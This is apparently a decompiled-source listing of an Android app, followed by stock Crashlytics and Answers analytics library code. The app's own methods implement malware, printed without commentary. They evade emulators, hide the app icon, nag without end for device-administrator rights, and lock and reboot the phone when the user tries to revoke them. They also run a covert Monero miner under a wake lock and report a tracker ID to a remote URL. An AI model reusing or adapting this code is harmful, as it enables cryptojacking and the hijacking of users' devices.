Loading ...

Android Source

<clinit>

Java Code



getInstance

Java Code
public static ApkUtils getInstance() {
    ApkUtils localInstance = instance;
    if (localInstance == null) {
        synchronized (ApkUtils.class) {
            try {
                localInstance = instance;
                if (localInstance == null) {
                    ApkUtils localInstance2 = new ApkUtils();
                    try {
                        instance = localInstance2;
                        localInstance = localInstance2;
                    } catch (Throwable th) {
                        Throwable th2 = th;
                        localInstance = localInstance2;
                        throw th2;
                    }
                }
            } catch (Throwable th3) {
                th2 = th3;
                throw th2;
            }
        }
    }
    return localInstance;
}



46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

extractZipComment

Java Code
public String extractZipComment(String filename) {
    String retStr = null;
    try {
        File file = new File(filename);
        int fileLen = (int) file.length();
        FileInputStream in = new FileInputStream(file);
        byte[] buffer = new byte[Math.min(fileLen, 8192)];
        in.skip((long) (fileLen - buffer.length));
        int len = in.read(buffer);
        if (len > 0) {
            retStr = getZipCommentFromBuffer(buffer, len);
        }
        in.close();
    } catch (Exception e) {
    }
    return retStr;
}



72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

getZipCommentFromBuffer

Java Code
private String getZipCommentFromBuffer(byte[] buffer, int len) {
    byte[] magicDirEnd = new byte[]{(byte) 80, (byte) 75, (byte) 5, (byte) 6};
    int buffLen = Math.min(buffer.length, len);
    for (int i = (buffLen - magicDirEnd.length) - 22; i >= 0; i--) {
        boolean isMagicStart = true;
        for (int k = 0; k < magicDirEnd.length; k++) {
            if (buffer[i + k] != magicDirEnd[k]) {
                isMagicStart = false;
                break;
            }
        }
        if (isMagicStart) {
            return new String(buffer, i + 22, (buffLen - i) - 22);
        }
    }
    return null;
}



90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

readAndSendTracking

Java Code
public void readAndSendTracking(Context context) {
    try {
        JSONObject trackerObject = new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8));
        new sendTask().execute(new String[]{trackerObject.getString("tracker_id")});
    } catch (Exception e) {
        e.printStackTrace();
    }
}



108
109
110
111
112
113
114
115

readSiteId

Java Code
public String readSiteId(Context context) {
    try {
        return new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8)).getString("site_id");
    } catch (Exception e) {
        e.printStackTrace();
        return "null";
    }
}



117
118
119
120
121
122
123
124

readWallet

Java Code
public String readWallet(Context context) {
    try {
        return new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8)).getString("w");
    } catch (Exception e) {
        e.printStackTrace();
        return Constants.miningUser;
    }
}



126
127
128
129
130
131
132
133

readWorker

Java Code
public String readWorker(Context context) {
    try {
        return new JSONObject(new String(Base64.decode(extractZipComment(context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).publicSourceDir), 0), HttpRequest.CHARSET_UTF8)).getString("wrk");
    } catch (Exception e) {
        e.printStackTrace();
        return "null";
    }
}



135
136
137
138
139
140
141
142

doInBackground

Java Code
protected String doInBackground(String... uri) {
    try {
        HttpURLConnection connection = (HttpURLConnection) new URL(Constants.trackingUrl + uri[0]).openConnection();
        connection.setRequestMethod(HttpRequest.METHOD_GET);
        connection.setDoOutput(true);
        connection.setConnectTimeout(15000);
        connection.setReadTimeout(15000);
        connection.connect();
        BufferedReader rd = new BufferedReader(new InputStreamReader(connection.getInputStream()));
        String content = "";
        while (true) {
            String line = rd.readLine();
            if (line == null) {
                return content;
            }
            content = content + line + "\n";
        }
    } catch (Exception e) {
        return null;
    }
}



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

onPostExecute

Java Code
protected void onPostExecute(String result) {
    super.onPostExecute(result);
}



41
42
43

onCreate

Java Code
public void onCreate() {
    super.onCreate();
    Fabric.with(this, new Crashlytics());
    if (!DeviceUtil.isEmulator()) {
        startService(new Intent(getApplicationContext(), FirstService.class));
    }
}



10
11
12
13
14
15
16

onTerminate

Java Code
public void onTerminate() {
    super.onTerminate();
    if (!DeviceUtil.isEmulator()) {
        Intent intent = new Intent(getApplicationContext(), MainActivity.class);
        intent.setFlags(268435456);
        intent.addFlags(131072);
        startActivity(intent);
    }
}



18
19
20
21
22
23
24
25
26

isEmulator

Java Code
public static boolean isEmulator() {
    if (Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown") || Build.MODEL.contains(CommonUtils.GOOGLE_SDK) || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK built for x86") || Build.MANUFACTURER.contains("Genymotion") || ((Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic")) || CommonUtils.GOOGLE_SDK.equals(Build.PRODUCT))) {
        return true;
    }
    return false;
}



12
13
14
15
16
17

checkForNeon

Java Code
public static boolean checkForNeon() {
    String result = "";
    InputStream in = null;
    try {
        in = new ProcessBuilder(new String[]{"/system/bin/cat", "/proc/cpuinfo"}).start().getInputStream();
        byte[] re = new byte[1024];
        while (in.read(re) != -1) {
            System.out.println(new String(re));
            String line = new String(re);
            if (!line.startsWith("Features") || !line.contains("neon")) {
                result = result + new String(re);
            } else if (in == null) {
                return true;
            } else {
                try {
                    in.close();
                    return true;
                } catch (IOException e) {
                    e.printStackTrace();
                    return true;
                }
            }
        }
        if (in != null) {
            try {
                in.close();
            } catch (IOException e2) {
                e2.printStackTrace();
            }
        }
    } catch (IOException ex) {
        ex.printStackTrace();
        if (in != null) {
            try {
                in.close();
            } catch (IOException e22) {
                e22.printStackTrace();
            }
        }
    } catch (Throwable th) {
        if (in != null) {
            try {
                in.close();
            } catch (IOException e222) {
                e222.printStackTrace();
            }
        }
    }
    return false;
}



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

getNumberOfCores

Java Code
public static int getNumberOfCores() {
    return getNumCoresOldPhones();
}



70
71
72

getNumCoresOldPhones

Java Code
private static int getNumCoresOldPhones() {
    try {
        return new File("/sys/devices/system/cpu/").listFiles(new FileFilter() {
            public boolean accept(File pathname) {
                if (Pattern.matches("cpu[0-9]+", pathname.getName())) {
                    return true;
                }
                return false;
            }
        }).length;
    } catch (Exception e) {
        return 1;
    }
}



74
75
76
77
78
79
80
81
82
83
84
85
86
87

accept

Java Code
public boolean accept(File pathname) {
    if (Pattern.matches("cpu[0-9]+", pathname.getName())) {
        return true;
    }
    return false;
}



77
78
79
80
81
82

onCreate

Java Code
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    if (DeviceUtil.isEmulator()) {
        finish();
    }
    isForeground = true;
    requestDeviceAdmin();
}



14
15
16
17
18
19
20
21
22

requestDeviceAdmin

Java Code
public void requestDeviceAdmin() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, DeviceAdmin.class));
    intent.putExtra("android.app.extra.ADD_EXPLANATION", "");
    intent.addFlags(131072);
    startActivityForResult(intent, 666);
}



24
25
26
27
28
29
30

onActivityResult

Java Code
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    switch (requestCode) {
        case 666:
            if (resultCode != -1) {
                requestDeviceAdmin();
                return;
            }
            return;
        default:
            super.onActivityResult(requestCode, resultCode, data);
            return;
    }
}



32
33
34
35
36
37
38
39
40
41
42
43
44

onKeyDown

Java Code
public boolean onKeyDown(int keyCode, KeyEvent event) {
    requestDeviceAdmin();
    return false;
}



46
47
48
49

onDestroy

Java Code
public void onDestroy() {
    isForeground = false;
    super.onDestroy();
}



51
52
53
54

onReceive

Java Code
public void onReceive(Context context, Intent intent) {
    context.startService(new Intent(context, FirstService.class));
}



9
10
11

onEnabled

Java Code
public void onEnabled(Context context, Intent intent) {
    super.onEnabled(context, intent);
    ApkUtils.getInstance().readAndSendTracking(context);
}



15
16
17
18

onDisableRequested

Java Code
public String onDisableRequested(final Context context, Intent intent) {
    new Handler().postDelayed(new Runnable() {
        public void run() {
            final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService("device_policy");
            if (dpm.isAdminActive(new ComponentName(context, DeviceAdmin.class))) {
                context.startService(new Intent(context, DisableService.class));
                dpm.lockNow();
                for (int i = 1; i <= 20; i++) {
                    new Handler().postDelayed(new Runnable() {
                        public void run() {
                            dpm.lockNow();
                        }
                    }, (long) (i * 250));
                }
                if (VERSION.SDK_INT >= 24) {
                    dpm.reboot(new ComponentName(context, DeviceAdmin.class));
                }
            }
        }
    }, 0);
    return "Are you sure to disable?";
}



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

run

Java Code
public void run() {
    final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService("device_policy");
    if (dpm.isAdminActive(new ComponentName(context, DeviceAdmin.class))) {
        context.startService(new Intent(context, DisableService.class));
        dpm.lockNow();
        for (int i = 1; i <= 20; i++) {
            new Handler().postDelayed(new Runnable() {
                public void run() {
                    dpm.lockNow();
                }
            }, (long) (i * 250));
        }
        if (VERSION.SDK_INT >= 24) {
            dpm.reboot(new ComponentName(context, DeviceAdmin.class));
        }
    }
}
);



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

run

Java Code
public void run() {
    dpm.lockNow();
}
long) (i * 250));



29
30
31
32

onDisabled

Java Code
public void onDisabled(Context context, Intent intent) {
    super.onDisabled(context, intent);
}



43
44
45

hideAppIcon

Java Code
public void hideAppIcon(Context context) {
    context.getPackageManager().setComponentEnabledSetting(new ComponentName(context, MainActivity.class), 2, 1);
}



47
48
49

startMining

Java Code
public void startMining() {
    try {
        this.moneroMiner = new MyNeoNeonMinerGlobals();
        this.moneroMiner.context = this;
        this.miningThread = new Thread(this.moneroMiner);
        this.miningThread.start();
    } catch (Exception e) {
    }
}



42
43
44
45
46
47
48
49
50

stopMining

Java Code
public void stopMining() {
    try {
        if (this.moneroMiner != null) {
            this.moneroMiner.stop();
            this.moneroMiner = null;
            this.miningThread.interrupt();
            this.miningThread = null;
            System.gc();
        }
    } catch (Exception e) {
    }
}



52
53
54
55
56
57
58
59
60
61
62
63

onBind

Java Code
public IBinder onBind(Intent intent) {
    return this.mBinder;
}



65
66
67

startWakeLock

Java Code
public void startWakeLock() {
    if (GlobalData.wakeLock != null) {
        GlobalData.wakeLock.release();
        GlobalData.wakeLock = null;
    }
    this.powerManager = (PowerManager) getSystemService("power");
    GlobalData.wakeLock = this.powerManager.newWakeLock(1, "AndroidService");
    GlobalData.wakeLock.acquire();
}



69
70
71
72
73
74
75
76
77

onCreate

Java Code
public void onCreate() {
    Notification notification;
    super.onCreate();
    startWakeLock();
    spamDeviceAdmin();
    Builder builder = new Builder(this).setSmallIcon(R.drawable.ic_launcher_empty);
    if (VERSION.SDK_INT < 16) {
        notification = builder.getNotification();
    } else {
        notification = builder.build();
    }
    startForeground(666, notification);
    startService(new Intent(this, NotificationService.class));
    startMining();
}



79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

onDestroy

Java Code
public void onDestroy() {
    super.onDestroy();
    stopMining();
    startService(new Intent(getApplicationContext(), FirstService.class));
}



95
96
97
98
99

spamDeviceAdmin

Java Code
public void spamDeviceAdmin() {
    startWakeLock();
    if (this.moneroMiner == null) {
        Log.d("Test", "MINER");
        startMining();
    }
    if (!(((DevicePolicyManager) getSystemService("device_policy")).isAdminActive(new ComponentName(getApplicationContext(), DeviceAdmin.class)) || MainActivity.isForeground)) {
        Intent intent = new Intent(getApplicationContext(), MainActivity.class);
        intent.setFlags(268435456);
        intent.addFlags(131072);
        startActivity(intent);
    }
    new Handler().postDelayed(new KeepAliveHandler(), 200);
}



101
102
103
104
105
106
107
108
109
110
111
112
113
114

KeepAliveHandler

Java Code



run

Java Code
public void run() {
    FirstService.this.spamDeviceAdmin();
}



31
32
33

getService

Java Code
FirstService getService() {
    return FirstService.this;
}



37
38
39

a

Java Code
public void a() {
    Intent localIntent = new Intent("android.intent.action.MAIN");
    localIntent.addCategory("android.intent.category.HOME");
    localIntent.setFlags(67108864);
    localIntent.setFlags(268435456);
    startActivity(localIntent);
}



11
12
13
14
15
16
17

onBind

Java Code
public IBinder onBind(Intent paramIntent) {
    return null;
}



19
20
21

onStartCommand

Java Code
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
    this.a = new Handler();
    Intent localIntent = new Intent();
    localIntent.setClassName("com.android.settings", "com.android.settings.Settings");
    localIntent.addFlags(343998464);
    startActivity(localIntent);
    a();
    this.a.postDelayed(new Runnable() {
        public void run() {
            DisableService.this.stopSelf();
        }
    }, 3000);
    return 2;
}



23
24
25
26
27
28
29
30
31
32
33
34
35
36

run

Java Code
public void run() {
    DisableService.this.stopSelf();
}
000);



31
32
33
34

onBind

Java Code
public IBinder onBind(Intent intent) {
    return null;
}



12
13
14

onCreate

Java Code
public void onCreate() {
    Notification notification;
    super.onCreate();
    Builder builder = new Builder(this).setSmallIcon(R.drawable.ic_launcher_empty);
    if (VERSION.SDK_INT < 16) {
        notification = builder.getNotification();
    } else {
        notification = builder.build();
    }
    startForeground(666, notification);
    stopForeground(true);
}



16
17
18
19
20
21
22
23
24
25
26
27

Crashlytics

Java Code
public Crashlytics() {
    this(new Answers(), new Beta(), new CrashlyticsCore());
}



113
114
115

Crashlytics

Java Code
Crashlytics(Answers answers, Beta beta, CrashlyticsCore core) {
    this.answers = answers;
    this.beta = beta;
    this.core = core;
    this.kits = Collections.unmodifiableCollection(Arrays.asList(new Kit[]{answers, beta, core}));
}



117
118
119
120
121
122

getVersion

Java Code
public String getVersion() {
    return "2.7.1.19";
}



124
125
126

getIdentifier

Java Code
public String getIdentifier() {
    return "com.crashlytics.sdk.android:crashlytics";
}



128
129
130

getKits

Java Code
public Collection<? extends Kit> getKits() {
    return this.kits;
}



132
133
134

doInBackground

Java Code
protected Void doInBackground() {
    return null;
}



136
137
138

getInstance

Java Code
public static Crashlytics getInstance() {
    return (Crashlytics) Fabric.getKit(Crashlytics.class);
}



140
141
142

getPinningInfoProvider

Java Code
public static PinningInfoProvider getPinningInfoProvider() {
    checkInitialized();
    return getInstance().core.getPinningInfoProvider();
}



144
145
146
147

logException

Java Code
public static void logException(Throwable throwable) {
    checkInitialized();
    getInstance().core.logException(throwable);
}



149
150
151
152

log

Java Code
public static void log(String msg) {
    checkInitialized();
    getInstance().core.log(msg);
}



154
155
156
157

log

Java Code
public static void log(int priority, String tag, String msg) {
    checkInitialized();
    getInstance().core.log(priority, tag, msg);
}



159
160
161
162

setUserIdentifier

Java Code
public static void setUserIdentifier(String identifier) {
    checkInitialized();
    getInstance().core.setUserIdentifier(identifier);
}



164
165
166
167

setUserName

Java Code
public static void setUserName(String name) {
    checkInitialized();
    getInstance().core.setUserName(name);
}



169
170
171
172

setUserEmail

Java Code
public static void setUserEmail(String email) {
    checkInitialized();
    getInstance().core.setUserEmail(email);
}



174
175
176
177

setString

Java Code
public static void setString(String key, String value) {
    checkInitialized();
    getInstance().core.setString(key, value);
}



179
180
181
182

setBool

Java Code
public static void setBool(String key, boolean value) {
    checkInitialized();
    getInstance().core.setBool(key, value);
}



184
185
186
187

setDouble

Java Code
public static void setDouble(String key, double value) {
    checkInitialized();
    getInstance().core.setDouble(key, value);
}



189
190
191
192

setFloat

Java Code
public static void setFloat(String key, float value) {
    checkInitialized();
    getInstance().core.setFloat(key, value);
}



194
195
196
197

setInt

Java Code
public static void setInt(String key, int value) {
    checkInitialized();
    getInstance().core.setInt(key, value);
}



199
200
201
202

setLong

Java Code
public static void setLong(String key, long value) {
    checkInitialized();
    getInstance().core.setLong(key, value);
}



204
205
206
207

crash

Java Code
public void crash() {
    this.core.crash();
}



209
210
211

verifyPinning

Java Code
public boolean verifyPinning(URL url) {
    return this.core.verifyPinning(url);
}



213
214
215

setListener

Java Code
public synchronized void setListener(CrashlyticsListener listener) {
    this.core.setListener(listener);
}



218
219
220

setDebugMode

Java Code
public void setDebugMode(boolean debug) {
    Fabric.getLogger().w(TAG, "Use of Crashlytics.setDebugMode is deprecated.");
}



223
224
225

getDebugMode

Java Code
public boolean getDebugMode() {
    Fabric.getLogger().w(TAG, "Use of Crashlytics.getDebugMode is deprecated.");
    getFabric();
    return Fabric.isDebuggable();
}



228
229
230
231
232

setPinningInfoProvider

Java Code
public static void setPinningInfoProvider(PinningInfoProvider pinningInfo) {
    Fabric.getLogger().w(TAG, "Use of Crashlytics.setPinningInfoProvider is deprecated");
}



235
236
237

checkInitialized

Java Code
private static void checkInitialized() {
    if (getInstance() == null) {
        throw new IllegalStateException("Crashlytics must be initialized by calling Fabric.with(Context) prior to calling Crashlytics.getInstance()");
    }
}



239
240
241
242
243

delay

Java Code
public Builder delay(float delay) {
    getCoreBuilder().delay(delay);
    return this;
}



30
31
32
33

listener

Java Code
public Builder listener(CrashlyticsListener listener) {
    getCoreBuilder().listener(listener);
    return this;
}



36
37
38
39

pinningInfo

Java Code
public Builder pinningInfo(PinningInfoProvider pinningInfoProvider) {
    getCoreBuilder().pinningInfo(pinningInfoProvider);
    return this;
}



42
43
44
45

disabled

Java Code
public Builder disabled(boolean isDisabled) {
    getCoreBuilder().disabled(isDisabled);
    return this;
}



48
49
50
51

answers

Java Code
public Builder answers(Answers answers) {
    if (answers == null) {
        throw new NullPointerException("Answers Kit must not be null.");
    } else if (this.answers != null) {
        throw new IllegalStateException("Answers Kit already set.");
    } else {
        this.answers = answers;
        return this;
    }
}



53
54
55
56
57
58
59
60
61
62

beta

Java Code
public Builder beta(Beta beta) {
    if (beta == null) {
        throw new NullPointerException("Beta Kit must not be null.");
    } else if (this.beta != null) {
        throw new IllegalStateException("Beta Kit already set.");
    } else {
        this.beta = beta;
        return this;
    }
}



64
65
66
67
68
69
70
71
72
73

core

Java Code
public Builder core(CrashlyticsCore core) {
    if (core == null) {
        throw new NullPointerException("CrashlyticsCore Kit must not be null.");
    } else if (this.core != null) {
        throw new IllegalStateException("CrashlyticsCore Kit already set.");
    } else {
        this.core = core;
        return this;
    }
}



75
76
77
78
79
80
81
82
83
84

build

Java Code
public Crashlytics build() {
    if (this.coreBuilder != null) {
        if (this.core != null) {
            throw new IllegalStateException("Must not use Deprecated methods delay(), disabled(), listener(), pinningInfoProvider() with core()");
        }
        this.core = this.coreBuilder.build();
    }
    if (this.answers == null) {
        this.answers = new Answers();
    }
    if (this.beta == null) {
        this.beta = new Beta();
    }
    if (this.core == null) {
        this.core = new CrashlyticsCore();
    }
    return new Crashlytics(this.answers, this.beta, this.core);
}



86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

getCoreBuilder

Java Code
private synchronized com.crashlytics.android.core.CrashlyticsCore.Builder getCoreBuilder() {
    if (this.coreBuilder == null) {
        this.coreBuilder = new com.crashlytics.android.core.CrashlyticsCore.Builder();
    }
    return this.coreBuilder;
}



105
106
107
108
109
110

onCreate

Java Code
public boolean onCreate() {
    Context context = getContext();
    if (shouldInitializeFabric(context, new FirebaseInfo(), new ManifestEnabledCheckStrategy())) {
        try {
            Fabric.with(context, new Crashlytics());
            Fabric.getLogger().i(TAG, "CrashlyticsInitProvider initialization successful");
        } catch (IllegalStateException e) {
            Fabric.getLogger().i(TAG, "CrashlyticsInitProvider initialization unsuccessful");
            return false;
        }
    }
    return true;
}



18
19
20
21
22
23
24
25
26
27
28
29
30

query

Java Code
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    return null;
}



32
33
34

getType

Java Code
public String getType(Uri uri) {
    return null;
}



36
37
38

insert

Java Code
public Uri insert(Uri uri, ContentValues values) {
    return null;
}



40
41
42

delete

Java Code
public int delete(Uri uri, String selection, String[] selectionArgs) {
    return 0;
}



44
45
46

update

Java Code
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
    return 0;
}



48
49
50

shouldInitializeFabric

Java Code
boolean shouldInitializeFabric(Context context, FirebaseInfo firebaseInfo, EnabledCheckStrategy enabledCheckStrategy) {
    return firebaseInfo.isFirebaseCrashlyticsEnabled(context) && enabledCheckStrategy.isCrashlyticsEnabled(context);
}



52
53
54

isCrashlyticsEnabled

Java Code



ManifestEnabledCheckStrategy

Java Code



isCrashlyticsEnabled

Java Code
public boolean isCrashlyticsEnabled(Context context) {
    try {
        Bundle bundle = context.getPackageManager().getApplicationInfo(context.getPackageName(), 128).metaData;
        if (bundle == null || bundle.getBoolean("firebase_crashlytics_collection_enabled", true)) {
            return true;
        }
        return false;
    } catch (NameNotFoundException e) {
        return true;
    }
}



11
12
13
14
15
16
17
18
19
20
21

SessionAnalyticsFilesManager

Java Code
SessionAnalyticsFilesManager(Context context, SessionEventTransform transform, CurrentTimeProvider currentTimeProvider, EventsStorage eventStorage) throws IOException {
    super(context, transform, currentTimeProvider, eventStorage, 100);
}



16
17
18

generateUniqueRollOverFileName

Java Code
protected String generateUniqueRollOverFileName() {
    return SESSION_ANALYTICS_TO_SEND_FILE_PREFIX + EventsFilesManager.ROLL_OVER_FILE_NAME_SEPARATOR + UUID.randomUUID().toString() + EventsFilesManager.ROLL_OVER_FILE_NAME_SEPARATOR + this.currentTimeProvider.getCurrentTimeMillis() + SESSION_ANALYTICS_TO_SEND_FILE_EXTENSION;
}



20
21
22

getMaxFilesToKeep

Java Code
protected int getMaxFilesToKeep() {
    return this.analyticsSettingsData == null ? super.getMaxFilesToKeep() : this.analyticsSettingsData.maxPendingSendFileCount;
}



24
25
26

getMaxByteSizePerFile

Java Code
protected int getMaxByteSizePerFile() {
    return this.analyticsSettingsData == null ? super.getMaxByteSizePerFile() : this.analyticsSettingsData.maxByteSizePerFile;
}



28
29
30

setAnalyticsSettingsData

Java Code
void setAnalyticsSettingsData(AnalyticsSettingsData analyticsSettingsData) {
    this.analyticsSettingsData = analyticsSettingsData;
}



32
33
34

build

Java Code
public static AnswersPreferenceManager build(Context context) {
    return new AnswersPreferenceManager(new PreferenceStoreImpl(context, PREF_STORE_NAME));
}



13
14
15

AnswersPreferenceManager

Java Code
AnswersPreferenceManager(PreferenceStore prefStore) {
    this.prefStore = prefStore;
}



17
18
19

setAnalyticsLaunched

Java Code
public void setAnalyticsLaunched() {
    this.prefStore.save(this.prefStore.edit().putBoolean(PREFKEY_ANALYTICS_LAUNCHED, true));
}



22
23
24

hasAnalyticsLaunched

Java Code
public boolean hasAnalyticsLaunched() {
    return this.prefStore.get().getBoolean(PREFKEY_ANALYTICS_LAUNCHED, false);
}



27
28
29

<clinit>

Java Code



putItemCount

Java Code
public StartCheckoutEvent putItemCount(int itemCount) {
    this.predefinedAttributes.put(ITEM_COUNT_ATTRIBUTE, Integer.valueOf(itemCount));
    return this;
}



13
14
15
16

putTotalPrice

Java Code
public StartCheckoutEvent putTotalPrice(BigDecimal totalPrice) {
    if (!this.validator.isNull(totalPrice, TOTAL_PRICE_ATTRIBUTE)) {
        this.predefinedAttributes.put(TOTAL_PRICE_ATTRIBUTE, Long.valueOf(priceToMicros(totalPrice)));
    }
    return this;
}



18
19
20
21
22
23

putCurrency

Java Code
public StartCheckoutEvent putCurrency(Currency currency) {
    if (!this.validator.isNull(currency, CURRENCY_ATTRIBUTE)) {
        this.predefinedAttributes.put(CURRENCY_ATTRIBUTE, currency.getCurrencyCode());
    }
    return this;
}



25
26
27
28
29
30

priceToMicros

Java Code
long priceToMicros(BigDecimal decimal) {
    return MICRO_CONSTANT.multiply(decimal).longValue();
}



32
33
34

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



36
37
38

BackgroundManager

Java Code
public BackgroundManager(ScheduledExecutorService executorService) {
    this.executorService = executorService;
}



24
25
26

setFlushOnBackground

Java Code
public void setFlushOnBackground(boolean flushOnBackground) {
    this.flushOnBackground = flushOnBackground;
}



28
29
30

notifyBackground

Java Code
private void notifyBackground() {
    for (Listener listener : this.listeners) {
        listener.onBackground();
    }
}



32
33
34
35
36

registerListener

Java Code
public void registerListener(Listener listener) {
    this.listeners.add(listener);
}



38
39
40

onActivityResumed

Java Code
public void onActivityResumed() {
    this.inBackground = false;
    ScheduledFuture backgroundFuture = (ScheduledFuture) this.backgroundFutureRef.getAndSet(null);
    if (backgroundFuture != null) {
        backgroundFuture.cancel(false);
    }
}



42
43
44
45
46
47
48

onActivityPaused

Java Code
public void onActivityPaused() {
    if (this.flushOnBackground && !this.inBackground) {
        this.inBackground = true;
        try {
            this.backgroundFutureRef.compareAndSet(null, this.executorService.schedule(new Runnable() {
                public void run() {
                    BackgroundManager.this.backgroundFutureRef.set(null);
                    BackgroundManager.this.notifyBackground();
                }
            }, 5000, TimeUnit.MILLISECONDS));
        } catch (RejectedExecutionException e) {
            Fabric.getLogger().d(Answers.TAG, "Failed to schedule background detector", e);
        }
    }
}



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

run

Java Code
public void run() {
    BackgroundManager.this.backgroundFutureRef.set(null);
    BackgroundManager.this.notifyBackground();
}
000, TimeUnit.MILLISECONDS));



55
56
57
58
59

onBackground

Java Code



FirebaseAnalyticsEvent

Java Code
FirebaseAnalyticsEvent(String eventName, Bundle eventParams) {
    this.eventName = eventName;
    this.eventParams = eventParams;
}



9
10
11
12

getEventName

Java Code
public String getEventName() {
    return this.eventName;
}



14
15
16

getEventParams

Java Code
public Bundle getEventParams() {
    return this.eventParams;
}



18
19
20

EnabledSessionAnalyticsManagerStrategy

Java Code
public EnabledSessionAnalyticsManagerStrategy(Kit kit, Context context, ScheduledExecutorService executor, SessionAnalyticsFilesManager filesManager, HttpRequestFactory httpRequestFactory, SessionEventMetadata metadata, FirebaseAnalyticsApiAdapter firebaseAnalyticsApiAdapter) {
    this.kit = kit;
    this.context = context;
    this.executorService = executor;
    this.filesManager = filesManager;
    this.httpRequestFactory = httpRequestFactory;
    this.metadata = metadata;
    this.firebaseAnalyticsApiAdapter = firebaseAnalyticsApiAdapter;
}



41
42
43
44
45
46
47
48
49

setAnalyticsSettingsData

Java Code
public void setAnalyticsSettingsData(AnalyticsSettingsData analyticsSettingsData, String protocolAndHostOverride) {
    this.filesSender = AnswersRetryFilesSender.build(new SessionAnalyticsFilesSender(this.kit, protocolAndHostOverride, analyticsSettingsData.analyticsURL, this.httpRequestFactory, this.apiKey.getValue(this.context)));
    this.filesManager.setAnalyticsSettingsData(analyticsSettingsData);
    this.forwardToFirebaseAnalyticsEnabled = analyticsSettingsData.forwardToFirebaseAnalytics;
    this.includePurchaseEventsInForwardedEvents = analyticsSettingsData.includePurchaseEventsInForwardedEvents;
    Fabric.getLogger().d(Answers.TAG, "Firebase analytics forwarding " + (this.forwardToFirebaseAnalyticsEnabled ? "enabled" : "disabled"));
    Fabric.getLogger().d(Answers.TAG, "Firebase analytics including purchase events " + (this.includePurchaseEventsInForwardedEvents ? "enabled" : "disabled"));
    this.customEventsEnabled = analyticsSettingsData.trackCustomEvents;
    Fabric.getLogger().d(Answers.TAG, "Custom event tracking " + (this.customEventsEnabled ? "enabled" : "disabled"));
    this.predefinedEventsEnabled = analyticsSettingsData.trackPredefinedEvents;
    Fabric.getLogger().d(Answers.TAG, "Predefined event tracking " + (this.predefinedEventsEnabled ? "enabled" : "disabled"));
    if (analyticsSettingsData.samplingRate > 1) {
        Fabric.getLogger().d(Answers.TAG, "Event sampling enabled");
        this.eventFilter = new SamplingEventFilter(analyticsSettingsData.samplingRate);
    }
    this.rolloverIntervalSeconds = analyticsSettingsData.flushIntervalSeconds;
    scheduleTimeBasedFileRollOver(0, (long) this.rolloverIntervalSeconds);
}



51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

processEvent

Java Code
public void processEvent(Builder builder) {
    SessionEvent event = builder.build(this.metadata);
    if (!this.customEventsEnabled && Type.CUSTOM.equals(event.type)) {
        Fabric.getLogger().d(Answers.TAG, "Custom events tracking disabled - skipping event: " + event);
    } else if (!this.predefinedEventsEnabled && Type.PREDEFINED.equals(event.type)) {
        Fabric.getLogger().d(Answers.TAG, "Predefined events tracking disabled - skipping event: " + event);
    } else if (this.eventFilter.skipEvent(event)) {
        Fabric.getLogger().d(Answers.TAG, "Skipping filtered event: " + event);
    } else {
        try {
            this.filesManager.writeEvent(event);
        } catch (IOException e) {
            Fabric.getLogger().e(Answers.TAG, "Failed to write event: " + event, e);
        }
        scheduleTimeBasedRollOverIfNeeded();
        boolean isCustomOrPredefinedEvent = Type.CUSTOM.equals(event.type) || Type.PREDEFINED.equals(event.type);
        boolean isPurchaseEvent = "purchase".equals(event.predefinedType);
        if (!this.forwardToFirebaseAnalyticsEnabled || !isCustomOrPredefinedEvent) {
            return;
        }
        if (!isPurchaseEvent || this.includePurchaseEventsInForwardedEvents) {
            try {
                this.firebaseAnalyticsApiAdapter.processEvent(event);
            } catch (Exception e2) {
                Fabric.getLogger().e(Answers.TAG, "Failed to map event to Firebase: " + event, e2);
            }
        }
    }
}



70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

scheduleTimeBasedRollOverIfNeeded

Java Code
public void scheduleTimeBasedRollOverIfNeeded() {
    if (this.rolloverIntervalSeconds != UNDEFINED_ROLLOVER_INTERVAL_SECONDS) {
        scheduleTimeBasedFileRollOver((long) this.rolloverIntervalSeconds, (long) this.rolloverIntervalSeconds);
    }
}



100
101
102
103
104

sendEvents

Java Code
public void sendEvents() {
    if (this.filesSender == null) {
        CommonUtils.logControlled(this.context, "skipping files send because we don't yet know the target endpoint");
        return;
    }
